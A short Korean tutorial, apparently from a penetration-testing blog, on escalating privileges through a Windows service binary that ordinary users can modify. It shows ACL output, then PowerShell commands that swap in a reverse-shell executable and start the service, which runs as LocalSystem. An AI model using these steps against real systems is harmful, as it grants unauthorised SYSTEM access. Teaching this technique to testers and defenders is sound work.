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  1. 권한 상승
  2. Windows

Weak Service Binary Permissions

이번 취약점은 이전의 취약점과 상당히 유사하지만, 서비스 바이너리 경로를 변조할 권한이 아닌 바이너리 자체에 대해 약한 권한이 존재하는 경우 이용 가능한 권한 상승 취약점입니다.

# Service.exe 파일에 대한 권한 확인
PS C:\> Get-Acl -Path "C:\Service.exe" | fl
...
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         DESKTOP-FNN8KU3\Mick3y Allow  FullControl
...

명령어 결과에서 확인할 수 있듯이 Service.exe 파일은 모든 유저가 수정할 수 있는 권한이 있습니다. 이 공격을 하기 전에는 기존의 바이너리를 백업한 뒤, 서비스를 종료해야 합니다.

# 기존 서비스 백업 및 악성 바이너리 이름 변경
PS C:\> mv .\Service.exe ServiceBack.exe
PS C:\> mv .\Reverse.exe Service.exe
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공

SERVICE_NAME: VulnServiceTest
        종류               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Service.exe
        LOAD_ORDER_GROUP   :
        태그                : 0
        DISPLAY_NAME       : Vulnerable Test Service
        종속성       :
        SERVICE_START_NAME : LocalSystem
        
# 변경된 악성 바이너리 서비스 실행
PS C:\> sc.exe start VulnServiceTest
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